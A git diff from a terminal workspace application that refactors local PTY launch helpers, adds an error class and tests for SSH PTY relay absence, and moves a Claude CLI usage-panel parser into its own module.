+    ? splitWorktreeIdForFilesystem(worktreeId)?.worktreePath
+    : undefined
+  const wslInfo = worktreePath ? parseWslPath(worktreePath) : null
+  return wslInfo ? { distro: wslInfo.distro, treatPosixCwdAsWsl: true } : undefined
+}
+
+export function getWslContextFromPreferredDistro(
+  distro: string | null | undefined
+): { distro: string; treatPosixCwdAsWsl: true } | undefined {
+  const trimmed = distro?.trim()
+  return trimmed ? { distro: trimmed, treatPosixCwdAsWsl: true } : undefined
+}
+
+export function normalizeLocalCallerSessionId(
+  sessionId: string | undefined,
+  allowNumeric = false
+): string | null {
+  const requested = sessionId?.trim()
+  return !requested || (!allowNumeric && /^\d+$/.test(requested)) ? null : requested
+}
+
+export function normalizeForegroundProcessName(
+  processName: string | null | undefined
+): string | null {
+  const trimmed = processName?.trim().replace(/^["']|["']$/g, '') ?? ''
+  return !trimmed || trimmed === 'xterm-256color' ? null : trimmed.split(/[\\/]/).pop() || null
+}
+
+export function resolveForegroundFallbackProcess(
+  processName: string | null | undefined,
+  shellName: string | undefined
+): string | null {
+  if (process.platform !== 'win32' || normalizeForegroundProcessName(processName)) {
+    return processName || null
+  }
+  return shellName ?? processName ?? null
+}
+
+/** Basename of the spawned shell path, parsed for the *target* platform.
+ *  Why: POSIX `basename` won't split a Windows `\` path (non-Windows host/CI), so it'd break the foreground comparison. */
+export function getSpawnedShellName(shellPath: string): string {
+  return process.platform === 'win32' ? pathWin32.basename(shellPath) : basename(shellPath)
+}
diff --git a/src/main/providers/local-pty-provider.ts b/src/main/providers/local-pty-provider.ts
index 223168b65c0..1ad88aaa2ba 100644
--- a/src/main/providers/local-pty-provider.ts
+++ b/src/main/providers/local-pty-provider.ts
@@ -1,5 +1,5 @@
 /* eslint-disable max-lines -- Why: splitting spawn() would scatter tightly coupled PTY lifecycle logic (scan → ready → write → exit) with no cleaner ownership seam. */
-import { basename, delimiter, win32 as pathWin32 } from 'node:path'
+import { basename, win32 as pathWin32 } from 'node:path'
 import { randomUUID } from 'node:crypto'
 import {
   ORCA_CODEX_LAUNCH_PREFLIGHT_CMD_QUOTE_ENV,
@@ -15,7 +15,6 @@ import { resolveProcessCwd } from './process-cwd'
 import { existsSync } from 'node:fs'
 import * as pty from 'node-pty'
 import { getDefaultWslDistro, parseWslPath, isWslAvailableAsync } from '../wsl'
-import { splitWorktreeIdForFilesystem } from '../../shared/worktree/id'
 import { isBracketedPasteSafeShell } from '../../shared/startup-command-submission'
 import {
   injectHistoryEnv,
@@ -76,7 +75,7 @@ import {
 } from './windows-cached-agent-revalidation'
 import { forceKillPosixPtyProcessGroups } from '../pty/posix-pty-process-groups'
 import { shouldUseShellReadyStartupDelivery } from '../../shared/codex-startup-delivery'
-import { assertSafeAgentStartupCwd, resolveSafePtyDefaultCwd } from './pty-default-cwd'
+import { assertSafeAgentStartupCwd } from './pty-default-cwd'
 import { ORCA_HERMES_STARTUP_QUERY_ENV } from '../../shared/hermes-startup-query'
 import { PhysicalExitTracker } from '../../shared/physical-exit-tracker'
 import { mergeGitConfigEnvProtocol } from '../../shared/git-credential-prompt-env'
@@ -94,18 +93,19 @@ import {
   createShellPromptReadinessProbe,
   type ShellPromptReadinessProbe
 } from '../shell-prompt-readiness-probe'
-import {
-  expandWindowsEnvironmentVariables,
-  expandWindowsPathEnvironmentVariables
-} from '../../shared/windows-environment-expansion'
+import { expandWindowsPathEnvironmentVariables } from '../../shared/windows-environment-expansion'
 import { resolveProcessExitCause, type TerminalExitCause } from '../../shared/terminal-exit-cause'
 
-const PANE_IDENTITY_ENV_KEYS = [
-  'ORCA_PANE_KEY',
-  'ORCA_TAB_ID',
-  'ORCA_WORKTREE_ID',
-  'ORCA_AGENT_LAUNCH_TOKEN'
-] as const
+import {
+  getDefaultCwd,
+  getSpawnedShellName,
+  getWslContextFromPreferredDistro,
+  getWslContextFromWorktreeId,
+  normalizeLocalCallerSessionId,
+  promoteAgentTeamsShimPath,
+  removeUnspecifiedPaneIdentityEnv,
+  resolveForegroundFallbackProcess
+} from './local-pty-launch-helpers'
 
 let ptyCounter = 0
 const ptyProcesses = new Map<string, pty.IPty>()
@@ -174,51 +174,6 @@ const dataListeners = new Set<DataCallback>()
 const exitListeners = new Set<ExitCallback>()
 const startupIngressByPty = new Map<string, PtyStartupIngress>()
 
-/**
- * Returns a stable default cwd for locally spawned PTYs.
- */
-function getDefaultCwd(): string {
-  return resolveSafePtyDefaultCwd()
-}
-
-/**
- * Removes inherited pane identity unless this PTY explicitly supplies it.
- */
-function removeUnspecifiedPaneIdentityEnv(
-  env: Record<string, string>,
-  explicitEnv: Record<string, string> | undefined
-): void {
-  for (const key of PANE_IDENTITY_ENV_KEYS) {
-    if (!explicitEnv || !Object.hasOwn(explicitEnv, key)) {
-      delete env[key]
-    }
-  }
-}
-
-/**
- * Promotes the agent-teams shim path ahead of inherited PATH entries.
- */
-function promoteAgentTeamsShimPath(
-  env: Record<string, string>,
-  requestedPath: string | undefined
-): void {
-  if (!env.ORCA_AGENT_TEAMS_TEAM_ID || !requestedPath) {
-    return
-  }
-  const normalizedRequestedPath =
-    process.platform === 'win32'
-      ? expandWindowsEnvironmentVariables(requestedPath, env)
-      : requestedPath
-  const pathDelimiter = process.platform === 'win32' ? ';' : delimiter
-  const shimDir = normalizedRequestedPath.split(pathDelimiter)[0]
-  if (!shimDir) {
-    return
-  }
-  const pathKey = resolvePathEnvKey(env, process.platform)
-  const currentParts = env[pathKey]?.split(pathDelimiter).filter(Boolean) ?? []
-  env[pathKey] = [shimDir, ...currentParts.filter((part) => part !== shimDir)].join(pathDelimiter)
-}
-
 /**
  * Disposes native node-pty listeners registered for a PTY id.
  */
@@ -254,30 +209,6 @@ function runPtyCleanup(id: string): void {
   cleanup()
 }
 
-/**
- * Resolves a WSL context from a worktree id whose path is already a WSL path.
- */
-function getWslContextFromWorktreeId(
-  worktreeId: string | undefined
-): { distro: string; treatPosixCwdAsWsl: true } | undefined {
-  // Why: strip any synthetic `::workspace:<uuid>` suffix so WSL detection parses the real path, not a nonexistent identifier.
-  const worktreePath = worktreeId
-    ? splitWorktreeIdForFilesystem(worktreeId)?.worktreePath
-    : undefined
-  const wslInfo = worktreePath ? parseWslPath(worktreePath) : null
-  return wslInfo ? { distro: wslInfo.distro, treatPosixCwdAsWsl: true } : undefined
-}
-
-/**
- * Resolves a WSL launch context from a user-selected distro name.
- */
-function getWslContextFromPreferredDistro(
-  distro: string | null | undefined
-): { distro: string; treatPosixCwdAsWsl: true } | undefined {
-  const trimmed = distro?.trim()
-  return trimmed ? { distro: trimmed, treatPosixCwdAsWsl: true } : undefined
-}
-
 /**
  * Removes all local tracking state for a PTY id after teardown.
  */
@@ -413,20 +344,6 @@ function cancelAllPendingLocalPtySpawns(): void {
   }
 }
 
-/**
- * Normalizes renderer session ids that should be reused for local PTY reattach.
- */
-function normalizeLocalCallerSessionId(
-  sessionId: string | undefined,
-  allowNumeric = false
-): string | null {
-  const requested = sessionId?.trim()
-  if (!requested || (!allowNumeric && /^\d+$/.test(requested))) {
-    return null
-  }
-  return requested
-}
-
 function reattachLocalPty(id: string, cols: number, rows: number): PtySpawnResult | null {
   const existing = ptyProcesses.get(id)
   if (!existing) {
@@ -445,37 +362,6 @@ function reattachLocalPty(id: string, cols: number, rows: number): PtySpawnResul
   }
 }
 
-/**
- * Normalizes node-pty foreground process strings to executable basenames.
- */
-function normalizeForegroundProcessName(processName: string | null | undefined): string | null {
-  const trimmed = processName?.trim().replace(/^["']|["']$/g, '') ?? ''
-  if (!trimmed || trimmed === 'xterm-256color') {
-    return null
-  }
-  return trimmed.split(/[\\/]/).pop() || null
-}
-
-/**
- * Falls back to the spawned Windows shell when node-pty reports a terminal name.
- */
-function resolveForegroundFallbackProcess(
-  processName: string | null | undefined,
-  shellName: string | undefined
-): string | null {
-  if (process.platform !== 'win32' || normalizeForegroundProcessName(processName)) {
-    return processName || null
-  }
-  // Why: Windows node-pty may expose only the terminal name (`xterm-256color`); the spawned shell is the best foreground fallback.
-  return shellName ?? processName ?? null
-}
-
-/** Basename of the spawned shell path, parsed for the *target* platform.
- *  Why: POSIX `basename` won't split a Windows `\` path (non-Windows host/CI), so it'd break the foreground comparison. */
-function getSpawnedShellName(shellPath: string): string {
-  return process.platform === 'win32' ? pathWin32.basename(shellPath) : basename(shellPath)
-}
-
 /**
  * Disposes the native PTY handle while avoiding recycled-pid signals on POSIX.
  */
diff --git a/src/main/providers/ssh-pty-errors.ts b/src/main/providers/ssh-pty-errors.ts
index a8c551f228b..fb1244c7b4b 100644
--- a/src/main/providers/ssh-pty-errors.ts
+++ b/src/main/providers/ssh-pty-errors.ts
@@ -10,3 +10,25 @@ export function isSshPtyIdentityMismatchError(error: unknown): boolean {
   const message = error instanceof Error ? error.message : String(error)
   return message.includes(SSH_PTY_IDENTITY_MISMATCH_ERROR) || /identity mismatch/i.test(message)
 }
+
+/**
+ * A reachable relay answered for this exact PTY id and reported it absent — positive evidence of
+ * absence from the execution host, so `exited` rather than `unverifiable`
+ * (docs/reference/ssh-execution-boundary.md). Deliberately NOT raised for a transport failure, a
+ * request timeout, a disposed multiplexer, an identity mismatch (the id names a live PTY belonging
+ * to another pane), or `restoreRequired` (the PTY is live, only its source stream is not) — none of
+ * those observe the process, and treating them as absence orphans live remote work.
+ *
+ * Carries the same `SSH_SESSION_EXPIRED` message so message-based consumers are unaffected; only
+ * callers that can act on the stronger verdict test the class.
+ */
+export class SshPtyAbsentFromRelayError extends Error {
+  constructor(message: string) {
+    super(message)
+    this.name = 'SshPtyAbsentFromRelayError'
+  }
+}
+
+export function isSshPtyAbsentFromRelayError(error: unknown): boolean {
+  return error instanceof SshPtyAbsentFromRelayError
+}
diff --git a/src/main/providers/ssh-pty-relay-absence-verdict.test.ts b/src/main/providers/ssh-pty-relay-absence-verdict.test.ts
new file mode 100644
index 00000000000..9e5b9a555ac
--- /dev/null
+++ b/src/main/providers/ssh-pty-relay-absence-verdict.test.ts
@@ -0,0 +1,78 @@
+import { describe, expect, it, vi } from 'vitest'
+import {
+  SSH_PTY_IDENTITY_MISMATCH_ERROR,
+  SSH_SESSION_EXPIRED_ERROR,
+  isSshPtyAbsentFromRelayError
+} from './ssh-pty-errors'
+import { SshPtyProvider } from './ssh-pty-provider'
+
+function providerRejectingAttachWith(error: unknown): SshPtyProvider {
+  const mux = {
+    request: vi.fn().mockRejectedValue(error),
+    notify: vi.fn(),
+    onNotification: vi.fn().mockReturnValue(vi.fn())
+  }
+  return new SshPtyProvider('conn-1', mux as never)
+}
+
+async function reattachRejection(error: unknown): Promise<unknown> {
+  const provider = providerRejectingAttachWith(error)
+  return await provider.spawn({ cols: 80, rows: 24, sessionId: 'pty-1' }).then(
+    () => undefined,
+    (rejection: unknown) => rejection
+  )
+}
+
+describe('SSH PTY relay absence verdict', () => {
+  it('reports a relay-delivered not-found as positive absence', async () => {
+    const rejection = await reattachRejection(new Error('PTY "pty-1" not found'))
+
+    expect(isSshPtyAbsentFromRelayError(rejection)).toBe(true)
+    expect((rejection as Error).message).toBe(`${SSH_SESSION_EXPIRED_ERROR}: pty-1`)
+  })
+
+  it('does not report absence when the id names a live PTY owned by another pane', async () => {
+    const rejection = await reattachRejection(
+      new Error('PTY "pty-1" not found (identity mismatch)')
+    )
+
+    expect(isSshPtyAbsentFromRelayError(rejection)).toBe(false)
+    // Byte-identical to the pre-change message: only the class is new, so the toast humanizer,
+    // both spawn-execute lease paths, and the renderer's substring checks are untouched.
+    expect((rejection as Error).message).toBe(
+      `${SSH_SESSION_EXPIRED_ERROR}: pty-1 ${SSH_PTY_IDENTITY_MISMATCH_ERROR}`
+    )
+  })
+
+  // Loss of contact never observes the process: each of these must stay `unverifiable`.
+  it.each([
+    ['a lost link', 'SSH connection lost, reconnecting...'],
+    ['a disposed multiplexer', 'Multiplexer disposed'],
+    ['a request timeout', 'Request "pty.attach" timed out after 10000ms']
+  ])('does not report absence for %s', async (_label, message) => {
+    const rejection = await reattachRejection(new Error(message))
+
+    expect(isSshPtyAbsentFromRelayError(rejection)).toBe(false)
+    expect((rejection as Error).message).toBe(message)
+  })
+
+  it('does not report absence when the PTY is live but its source needs restoring', async () => {
+    const mux = {
+      request: vi.fn().mockResolvedValue({
+        incarnationId: 'incarnation-1',
+        sourceRecovery: { status: 'restoreRequired', reason: 'checkpointUnavailable' }
+      }),
+      notify: vi.fn(),
+      onNotification: vi.fn().mockReturnValue(vi.fn())
+    }
+    const provider = new SshPtyProvider('conn-1', mux as never)
+
+    const rejection = await provider.spawn({ cols: 80, rows: 24, sessionId: 'pty-1' }).then(
+      () => undefined,
+      (error: unknown) => error
+    )
+
+    expect(isSshPtyAbsentFromRelayError(rejection)).toBe(false)
+    expect((rejection as Error).message).toContain(SSH_SESSION_EXPIRED_ERROR)
+  })
+})
diff --git a/src/main/providers/ssh-pty-session-reattach.ts b/src/main/providers/ssh-pty-session-reattach.ts
index 3a7b8b15c79..d6da283cab9 100644
--- a/src/main/providers/ssh-pty-session-reattach.ts
+++ b/src/main/providers/ssh-pty-session-reattach.ts
@@ -3,6 +3,7 @@ import { isPtyIncarnationId, type PtyIncarnationId } from '../../shared/pty-inca
 import {
   SSH_PTY_IDENTITY_MISMATCH_ERROR,
   SSH_SESSION_EXPIRED_ERROR,
+  SshPtyAbsentFromRelayError,
   isSshPtyIdentityMismatchError,
   isSshPtyNotFoundError
 } from './ssh-pty-errors'
@@ -225,10 +226,16 @@ export async function reattachSshPtySession(args: {
     // Why: an expired relay lease must be surfaced distinctly so the renderer clears its binding.
     console.warn(`[ssh-pty] pty.attach FAILED for ${args.sessionId}:`, error)
     if (isSshPtyNotFoundError(error)) {
-      const mismatchMarker = isSshPtyIdentityMismatchError(error)
-        ? ` ${SSH_PTY_IDENTITY_MISMATCH_ERROR}`
-        : ''
-      throw new Error(`${SSH_SESSION_EXPIRED_ERROR}: ${relaySessionId}${mismatchMarker}`)
+      if (isSshPtyIdentityMismatchError(error)) {
+        // The id names a LIVE PTY owned by another pane, so this is not evidence of absence.
+        throw new Error(
+          `${SSH_SESSION_EXPIRED_ERROR}: ${relaySessionId} ${SSH_PTY_IDENTITY_MISMATCH_ERROR}`
+        )
+      }
+      // Why the class: the relay answered for this exact id, so callers holding a pane binding may
+      // retire it and spawn fresh. Plain `SSH_SESSION_EXPIRED` cannot say that — a restarted relay
+      // renumbers from pty-1, so the message alone is indistinguishable from a lost link.
+      throw new SshPtyAbsentFromRelayError(`${SSH_SESSION_EXPIRED_ERROR}: ${relaySessionId}`)
     }
     throw error
   }
diff --git a/src/main/provisioned-root-ssh-adoption.ts b/src/main/provisioned-root-ssh-adoption.ts
index dd74f6acbed..6a12c63b4a2 100644
--- a/src/main/provisioned-root-ssh-adoption.ts
+++ b/src/main/provisioned-root-ssh-adoption.ts
@@ -15,7 +15,7 @@ import {
 } from '../shared/ephemeral-vm-recipes'
 import { listEphemeralVmRuntimes } from '../shared/ephemeral-vm-runtime-store'
 import type { EphemeralVmRuntimeRecord } from '../shared/ephemeral-vm-runtimes'
-import { getProjectHostSetupWorktreeMeta } from '../shared/project-host-setup-projection'
+import { getProjectHostSetupWorktreeMeta } from '../shared/project-host-setup-lookup'
 import { isTuiAgent } from '../shared/tui-agent-config'
 import { getSshGitProvider } from './providers/ssh-git-dispatch'
 import {
diff --git a/src/main/rate-limits/claude-pty-stop-markers.ts b/src/main/rate-limits/claude-pty-stop-markers.ts
new file mode 100644
index 00000000000..2bba56c6911
--- /dev/null
+++ b/src/main/rate-limits/claude-pty-stop-markers.ts
@@ -0,0 +1,14 @@
+// Why: these substrings indicate the /usage TUI panel has finished rendering.
+export const CLAUDE_USAGE_STOP_SUBSTRINGS = [
+  'Current week (all models)',
+  'Current week (Opus)',
+  'Current week (Sonnet only)',
+  'Current week (Sonnet)',
+  'Weekly limits',
+  'Weekly limit',
+  'Weekly usage',
+  '7-day',
+  'Current session',
+  'Failed to load usage data',
+  'failed to load usage data'
+]
diff --git a/src/main/rate-limits/claude-pty-usage-parser.ts b/src/main/rate-limits/claude-pty-usage-parser.ts
new file mode 100644
index 00000000000..3328d947160
--- /dev/null
+++ b/src/main/rate-limits/claude-pty-usage-parser.ts
@@ -0,0 +1,166 @@
+import type { ProviderRateLimits, RateLimitWindow } from '../../shared/rate-limit-types'
+import { extractClaudePtyResetMetadata } from './claude-pty-reset-parser'
+
+// Why: these patterns match the Claude CLI's /usage TUI panel output.
+// "Current session" shows a percent like "62% used" or "62% left".
+// Weekly labels have varied between "Current week" and "Weekly limits".
+const SESSION_RE = /current\s*session/i
+const WEEKLY_RE = /(?:current\s*week|weekly\s*(?:limits?|usage|rate\s*limits?)|7\s*[- ]?\s*day)/i
+const FABLE_WORD_RE = /\bfable\b/i
+const FABLE_LABEL_RE = /^\s*fable\s*$/i
+// Why: derive from WEEKLY_RE so a future weekly-wording change stays in one place
+// instead of silently reopening the Fable-weekly parsing gap this fix closed.
+const FABLE_WEEKLY_LABEL_RE = new RegExp(
+  `${WEEKLY_RE.source}\\s*(?:\\([^)]*\\bfable\\b[^)]*\\)|[-:]?\\s*\\bfable\\b)`,
+  'i'
+)
+const PERCENT_RE = /(\d{1,3})(?:\.\d+)?\s*%\s*(used|consumed|left|remaining|available)/i
+const ESC = String.fromCharCode(27)
+const BEL = String.fromCharCode(7)
+const OSC_SEQUENCE_RE = new RegExp(`${ESC}\\][^${BEL}]*(?:${BEL}|${ESC}\\\\)`, 'g')
+const CSI_SEQUENCE_RE = new RegExp(`${ESC}\\[[0-9;?]*[ -/]*[@-~]`, 'g')
+
+export function stripTerminalControlSequences(output: string): string {
+  return output.replace(OSC_SEQUENCE_RE, '').replace(CSI_SEQUENCE_RE, '')
+}
+
+/**
+ * Extract percent-left from lines following a label match.
+ * Scans up to 12 lines after the label to find the associated percent.
+ */
+function matchesWeeklyLabel(line: string): boolean {
+  return WEEKLY_RE.test(line) && !FABLE_WORD_RE.test(line)
+}
+
+function matchesFableBoundary(line: string): boolean {
+  return FABLE_LABEL_RE.test(line) || (FABLE_WORD_RE.test(line) && WEEKLY_RE.test(line))
+}
+
+function matchesFableUsageLabel(line: string): boolean {
+  // Why: broad Fable-weekly copy should stop nearby scans, but only a real
+  // Fable usage heading should produce the distinct Fable meter.
+  return FABLE_LABEL_RE.test(line) || FABLE_WEEKLY_LABEL_RE.test(line)
+}
+
+function isSectionLabel(line: string): boolean {
+  return SESSION_RE.test(line) || matchesWeeklyLabel(line) || matchesFableBoundary(line)
+}
+
+function extractPercentAfterLabel(
+  lines: string[],
+  matchesLabel: (line: string) => boolean
+): number | null {
+  for (let i = 0; i < lines.length; i++) {
+    if (!matchesLabel(lines[i])) {
+      continue
+    }
+    // Scan next 12 lines for a percent
+    for (let j = i; j < Math.min(i + 12, lines.length); j++) {
+      if (j > i && isSectionLabel(lines[j])) {
+        break
+      }
+      const m = PERCENT_RE.exec(lines[j])
+      if (m) {
+        const pct = Number.parseFloat(m[1])
+        const word = m[2].toLowerCase()
+        const isUsed = word === 'used' || word === 'consumed'
+        return isUsed ? pct : 100 - pct
+      }
+    }
+  }
+  return null
+}
+
+export function parseClaudePtyUsage(output: string): {
+  session: RateLimitWindow | null
+  weekly: RateLimitWindow | null
+  fableWeekly: RateLimitWindow | null
+} {
+  const lines = output.split(/\r\n|\n|\r/)
+
+  const sessionPct = extractPercentAfterLabel(lines, (line) => SESSION_RE.test(line))
+  const weeklyPct = extractPercentAfterLabel(lines, matchesWeeklyLabel)
+  const fableWeeklyPct = extractPercentAfterLabel(lines, matchesFableUsageLabel)
+  const sessionReset = extractClaudePtyResetMetadata(
+    lines,
+    (line) => SESSION_RE.test(line),
+    isSectionLabel
+  )
+  const weeklyReset = extractClaudePtyResetMetadata(lines, matchesWeeklyLabel, isSectionLabel)
+  const fableWeeklyReset = extractClaudePtyResetMetadata(
+    lines,
+    matchesFableUsageLabel,
+    isSectionLabel
+  )
+
+  const session: RateLimitWindow | null =
+    sessionPct !== null
+      ? {
+          usedPercent: Math.min(100, Math.max(0, sessionPct)),
+          windowMinutes: 300,
+          resetsAt: sessionReset.resetsAt,
+          resetDescription: sessionReset.resetDescription
+        }
+      : null
+
+  const weekly: RateLimitWindow | null =
+    weeklyPct !== null
+      ? {
+          usedPercent: Math.min(100, Math.max(0, weeklyPct)),
+          windowMinutes: 10080,
+          resetsAt: weeklyReset.resetsAt,
+          resetDescription: weeklyReset.resetDescription
+        }
+      : null
+
+  const fableWeekly: RateLimitWindow | null =
+    fableWeeklyPct !== null
+      ? {
+          usedPercent: Math.min(100, Math.max(0, fableWeeklyPct)),
+          windowMinutes: 10080,
+          resetsAt: fableWeeklyReset.resetsAt,
+          resetDescription: fableWeeklyReset.resetDescription
+        }
+      : null
+
+  return { session, weekly, fableWeekly }
+}
+
+const RATE_LIMITED_RE = /rate limited\.?\s+please try again later/i
+const LOAD_FAILED_RE = /failed to load usage data/i
+const CLAUDE_21_USAGE_TABS_RE = /settings?\s+status?\s+config\s+usage\s+stats/i
+const CLAUDE_21_SESSION_STATS_RE = /total\s*cost|total\s*duration|usage:\s*\d+\s*input/i
+
+export function isClaude21UsagePanel(output: string): boolean {
+  return CLAUDE_21_USAGE_TABS_RE.test(output) || CLAUDE_21_SESSION_STATS_RE.test(output)
+}
+
+export function describeClaudeUsageFailure(output: string): string {
+  if (RATE_LIMITED_RE.test(output)) {
+    return 'Claude usage is rate limited right now.'
+  }
+
+  if (LOAD_FAILED_RE.test(output)) {
+    return 'Claude usage is unavailable right now.'
+  }
+
+  if (CLAUDE_21_USAGE_TABS_RE.test(output) || CLAUDE_21_SESSION_STATS_RE.test(output)) {
+    return 'Claude plan usage is unavailable for this Claude CLI session.'
+  }
+
+  // Why: parser failures are an implementation detail of Orca's PTY fallback.
+  // The UI should explain the user-visible outcome, not leak internal parsing
+  // mechanics that the user cannot act on.
+  return 'Claude usage is unavailable right now.'
+}
+
+export function abortedClaudeUsageResult(): ProviderRateLimits {
+  return {
+    provider: 'claude',
+    session: null,
+    weekly: null,
+    updatedAt: Date.now(),
+    error: 'Rate-limit fetch aborted',
+    status: 'error'
+  }
+}
diff --git a/src/main/rate-limits/claude-pty.ts b/src/main/rate-limits/claude-pty.ts
index 210f4778ac9..cbaedbd17f9 100644
--- a/src/main/rate-limits/claude-pty.ts
+++ b/src/main/rate-limits/claude-pty.ts
@@ -1,7 +1,4 @@
-/* eslint-disable max-lines -- Why: Claude PTY usage scraping keeps prompt
-driving, parser, timers, and teardown in one state machine; splitting it would
-make the lifecycle harder to audit. */
-import type { ProviderRateLimits, RateLimitWindow } from '../../shared/rate-limit-types'
+import type { ProviderRateLimits } from '../../shared/rate-limit-types'
 import { buildConfiguredProxyEnv, type NetworkProxySettings } from '../../shared/network-proxy'
 import { resolveClaudeCommand } from '../codex-cli/command'
 // Why: import from the shared module, not the codex-cli re-export, so a test that
@@ -11,11 +8,19 @@ import type { ClaudeRuntimeAuthPreparation } from '../claude-accounts/runtime-au
 import { applyClaudeEnvPatch } from '../claude-accounts/environment'
 import { withMacTailscaleDnsHint } from '../network/macos-tailscale-dns-diagnostic'
 import { cleanupHiddenRateLimitPty, registerHiddenRateLimitPty } from './hidden-pty-cleanup'
-import { extractClaudePtyResetMetadata } from './claude-pty-reset-parser'
 import {
   getHiddenRateLimitWslCwdSetupCommands,
   resolveHiddenRateLimitPtyCwd
 } from './hidden-rate-limit-pty-cwd'
+import {
+  abortedClaudeUsageResult,
+  describeClaudeUsageFailure,
+  isClaude21UsagePanel,
+  parseClaudePtyUsage,
+  stripTerminalControlSequences
+} from './claude-pty-usage-parser'
+import { quoteHiddenRateLimitShellValue } from './hidden-rate-limit-shell'
+import { CLAUDE_USAGE_STOP_SUBSTRINGS } from './claude-pty-stop-markers'
 
 const PTY_TIMEOUT_MS = 25_000
 const MAX_OUTPUT_LENGTH = 100_000 // 100KB buffer limit
@@ -24,148 +29,6 @@ const MAX_OUTPUT_LENGTH = 100_000 // 100KB buffer limit
 // PTY fallback — spawn interactive `claude`, send `/usage`, parse the TUI
 // ---------------------------------------------------------------------------
 
-// Why: these patterns match the Claude CLI's /usage TUI panel output.
-// "Current session" shows a percent like "62% used" or "62% left".
-// Weekly labels have varied between "Current week" and "Weekly limits".
-const SESSION_RE = /current\s*session/i
-const WEEKLY_RE = /(?:current\s*week|weekly\s*(?:limits?|usage|rate\s*limits?)|7\s*[- ]?\s*day)/i
-const FABLE_WORD_RE = /\bfable\b/i
-const FABLE_LABEL_RE = /^\s*fable\s*$/i
-// Why: derive from WEEKLY_RE so a future weekly-wording change stays in one place
-// instead of silently reopening the Fable-weekly parsing gap this fix closed.
-const FABLE_WEEKLY_LABEL_RE = new RegExp(
-  `${WEEKLY_RE.source}\\s*(?:\\([^)]*\\bfable\\b[^)]*\\)|[-:]?\\s*\\bfable\\b)`,
-  'i'
-)
-const PERCENT_RE = /(\d{1,3})(?:\.\d+)?\s*%\s*(used|consumed|left|remaining|available)/i
-const ESC = String.fromCharCode(27)
-const BEL = String.fromCharCode(7)
-const OSC_SEQUENCE_RE = new RegExp(`${ESC}\\][^${BEL}]*(?:${BEL}|${ESC}\\\\)`, 'g')
-const CSI_SEQUENCE_RE = new RegExp(`${ESC}\\[[0-9;?]*[ -/]*[@-~]`, 'g')
-
-function stripTerminalControlSequences(output: string): string {
-  return output.replace(OSC_SEQUENCE_RE, '').replace(CSI_SEQUENCE_RE, '')
-}
-
-/**
- * Extract percent-left from lines following a label match.
- * Scans up to 12 lines after the label to find the associated percent.
- */
-function matchesWeeklyLabel(line: string): boolean {
-  return WEEKLY_RE.test(line) && !FABLE_WORD_RE.test(line)
-}
-
-function matchesFableBoundary(line: string): boolean {
-  return FABLE_LABEL_RE.test(line) || (FABLE_WORD_RE.test(line) && WEEKLY_RE.test(line))
-}
-
-function matchesFableUsageLabel(line: string): boolean {
-  // Why: broad Fable-weekly copy should stop nearby scans, but only a real
-  // Fable usage heading should produce the distinct Fable meter.
-  return FABLE_LABEL_RE.test(line) || FABLE_WEEKLY_LABEL_RE.test(line)
-}
-
-function isSectionLabel(line: string): boolean {
-  return SESSION_RE.test(line) || matchesWeeklyLabel(line) || matchesFableBoundary(line)
-}
-
-function extractPercentAfterLabel(
-  lines: string[],
-  matchesLabel: (line: string) => boolean
-): number | null {
-  for (let i = 0; i < lines.length; i++) {
-    if (!matchesLabel(lines[i])) {
-      continue
-    }
-    // Scan next 12 lines for a percent
-    for (let j = i; j < Math.min(i + 12, lines.length); j++) {
-      if (j > i && isSectionLabel(lines[j])) {
-        break
-      }
-      const m = PERCENT_RE.exec(lines[j])
-      if (m) {
-        const pct = Number.parseFloat(m[1])
-        const word = m[2].toLowerCase()
-        const isUsed = word === 'used' || word === 'consumed'
-        return isUsed ? pct : 100 - pct
-      }
-    }
-  }
-  return null
-}
-
-function parsePtyUsage(output: string): {
-  session: RateLimitWindow | null
-  weekly: RateLimitWindow | null
-  fableWeekly: RateLimitWindow | null
-} {
-  const lines = output.split(/\r\n|\n|\r/)
-
-  const sessionPct = extractPercentAfterLabel(lines, (line) => SESSION_RE.test(line))
-  const weeklyPct = extractPercentAfterLabel(lines, matchesWeeklyLabel)
-  const fableWeeklyPct = extractPercentAfterLabel(lines, matchesFableUsageLabel)
-  const sessionReset = extractClaudePtyResetMetadata(
-    lines,
-    (line) => SESSION_RE.test(line),
-    isSectionLabel
-  )
-  const weeklyReset = extractClaudePtyResetMetadata(lines, matchesWeeklyLabel, isSectionLabel)
-  const fableWeeklyReset = extractClaudePtyResetMetadata(
-    lines,
-    matchesFableUsageLabel,
-    isSectionLabel
-  )
-
-  const session: RateLimitWindow | null =
-    sessionPct !== null
-      ? {
-          usedPercent: Math.min(100, Math.max(0, sessionPct)),
-          windowMinutes: 300,
-          resetsAt: sessionReset.resetsAt,
-          resetDescription: sessionReset.resetDescription
-        }
-      : null
-
-  const weekly: RateLimitWindow | null =
-    weeklyPct !== null
-      ? {
-          usedPercent: Math.min(100, Math.max(0, weeklyPct)),
-          windowMinutes: 10080,
-          resetsAt: weeklyReset.resetsAt,
-          resetDescription: weeklyReset.resetDescription
-        }
-      : null
-
-  const fableWeekly: RateLimitWindow | null =
-    fableWeeklyPct !== null
-      ? {
-          usedPercent: Math.min(100, Math.max(0, fableWeeklyPct)),
-          windowMinutes: 10080,
-          resetsAt: fableWeeklyReset.resetsAt,
-          resetDescription: fableWeeklyReset.resetDescription
-        }
-      : null
-
-  return { session, weekly, fableWeekly }
-}
-
-// Why: these substrings indicate the /usage TUI panel has finished
-// rendering. We stop collecting output once one appears, then allow
-// a settle period for the rest of the content to flush.
-const STOP_SUBSTRINGS = [
-  'Current week (all models)',
-  'Current week (Opus)',
-  'Current week (Sonnet only)',
-  'Current week (Sonnet)',
-  'Weekly limits',
-  'Weekly limit',
-  'Weekly usage',
-  '7-day',
-  'Current session',
-  'Failed to load usage data',
-  'failed to load usage data'
-]
-
 // Why: prompt detection is unreliable because the Claude CLI v2.x renders
 // a status bar and TUI elements that push the `❯` prompt out of any
 // reasonable detection window. Instead we wait a fixed 2s after spawning
@@ -173,48 +36,10 @@ const STOP_SUBSTRINGS = [
 // palette prompts ("Show plan usage limits") are auto-confirmed with Enter.
 const COMMAND_PALETTE_RE = /show plan|usage limits/i
 const TRUST_PROMPT_RE = /do you trust|trust the files|safety check/i
-const RATE_LIMITED_RE = /rate limited\.?\s+please try again later/i
-const LOAD_FAILED_RE = /failed to load usage data/i
-const CLAUDE_21_USAGE_TABS_RE = /settings?\s+status?\s+config\s+usage\s+stats/i
-const CLAUDE_21_SESSION_STATS_RE = /total\s*cost|total\s*duration|usage:\s*\d+\s*input/i
 const STARTUP_DELAY_MS = 2_000
 const SETTLE_AFTER_STOP_MS = 2_000
